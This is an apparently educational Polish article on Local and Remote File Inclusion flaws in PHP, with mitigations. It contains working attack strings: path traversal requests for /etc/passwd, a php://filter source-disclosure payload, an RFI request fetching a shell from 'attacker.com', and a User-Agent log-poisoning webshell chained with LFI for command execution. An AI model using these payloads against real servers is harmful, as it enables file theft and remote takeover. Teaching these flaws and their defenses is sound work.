LFI i RFI – Wykorzystanie Lokalnego i Zdalnego Dołączania Plików w Atakach Cybernetycznych
📂 LFI i RFI – Wykorzystanie Lokalnego i Zdalnego Dołączania Plików w Atakach Cybernetycznych
🔍 Czym są LFI i RFI?
LFI (Local File Inclusion) oraz RFI (Remote File Inclusion) to podatności typu „file inclusion”, które pozwalają atakującemu na wczytanie pliku (lokalnego lub zdalnego) do wykonania w kontekście aplikacji internetowej. Obie luki występują wtedy, gdy aplikacja przetwarza nazwę pliku jako niezabezpieczony parametr wejściowy i bez walidacji dołącza go do swojego kodu.
🔓 LFI – Local File Inclusion
W przypadku LFI, atakujący może zażądać od aplikacji dołączenia pliku z lokalnego systemu serwera (np. /etc/passwd, C:\boot.ini).
💣 Przykład LFI w PHP:
<?php
$page = $_GET['page'];
include($page . ".php");
?>
🔗 Zapytanie:
http://example.com/?page=../../../../etc/passwd
📄 Skutek: Wyświetlenie zawartości krytycznego pliku systemowego.
🌐 RFI – Remote File Inclusion
RFI umożliwia dołączenie zewnętrznego pliku z Internetu (np. skryptu PHP), który zostaje uruchomiony na serwerze.
💣 Przykład RFI:
<?php
$page = $_GET['page'];
include($page);
?>
🔗 Zapytanie:
http://example.com/?page=http://attacker.com/shell.txt
📄 Skutek: Kod z attacker.com/shell.txt zostaje wykonany z uprawnieniami serwera!

⚠️ Typowe skutki ataków LFI/RFI:
- 🔍 Odczyt ważnych plików systemowych (np.
wp-config.php,.env,passwd,shadow) - 🧠 Zbieranie informacji o środowisku serwera (np. logi)
- 💣 Zdalne wykonanie kodu (RCE) – np. przez logi zawierające payloady
- 🐚 Instalacja backdoora lub webshella
- 🚨 Przygotowanie do eskalacji uprawnień
📁 LFI + Log Injection = RCE
Atakujący może wstrzyknąć złośliwy kod do logów serwera (np. przez User-Agent), a następnie wykorzystać LFI do wczytania pliku loga.
🔹 Wstrzyknięcie:
User-Agent: <?php system($_GET['cmd']); ?>
🔹 Następnie:
http://example.com/?page=/var/log/apache2/access.log&cmd=id
🛠️ Narzędzia do wykrywania LFI/RFI
- Burp Suite (fuzzing parametrów)
- WFuzz – do automatycznego testowania ścieżek
- Nikto – wykrywanie znanych luk
- DotDotPwn – do testowania LFI (Path Traversal)
- Commix / Metasploit – do eksploitacji i przejęcia systemu
🧪 Typowe Payloady do testowania LFI
../../../../etc/passwd
..././..././..././etc/passwd
php://filter/convert.base64-encode/resource=index.php
🧰 Zabezpieczenia przed LFI/RFI
✅ Walidacja i ograniczenia ścieżek
- Lista dozwolonych plików (whitelist), np.
switch($page) - Blokada znaków typu
../,http://
✅ Wyłączenie zdalnego include’a w PHP:
W php.ini:
allow_url_include = Off
allow_url_fopen = Off
✅ Stosowanie pełnych ścieżek do plików:
Zamiast:
include($_GET['page']);
Użyj:
$allowed = ['home', 'contact', 'about'];
if (in_array($_GET['page'], $allowed)) {
include("/var/www/html/pages/" . $_GET['page'] . ".php");
}
✅ Odseparowanie systemu plików
- Konteneryzacja aplikacji (np. Docker)
- Brak dostępu aplikacji do krytycznych ścieżek systemowych
🧠 Podsumowanie
LFI i RFI to jedne z najstarszych i nadal aktywnie wykorzystywanych luk w aplikacjach webowych. Ich konsekwencje są ogromne – od kradzieży danych po całkowite przejęcie systemu przez atakującego.
🔐 Nawet prosty błąd braku walidacji może zakończyć się kompromitacją serwera. Dlatego testy bezpieczeństwa, walidacja wejścia, oraz dobrze zaprojektowana architektura aplikacji to klucz do zabezpieczenia przed tymi atakami.






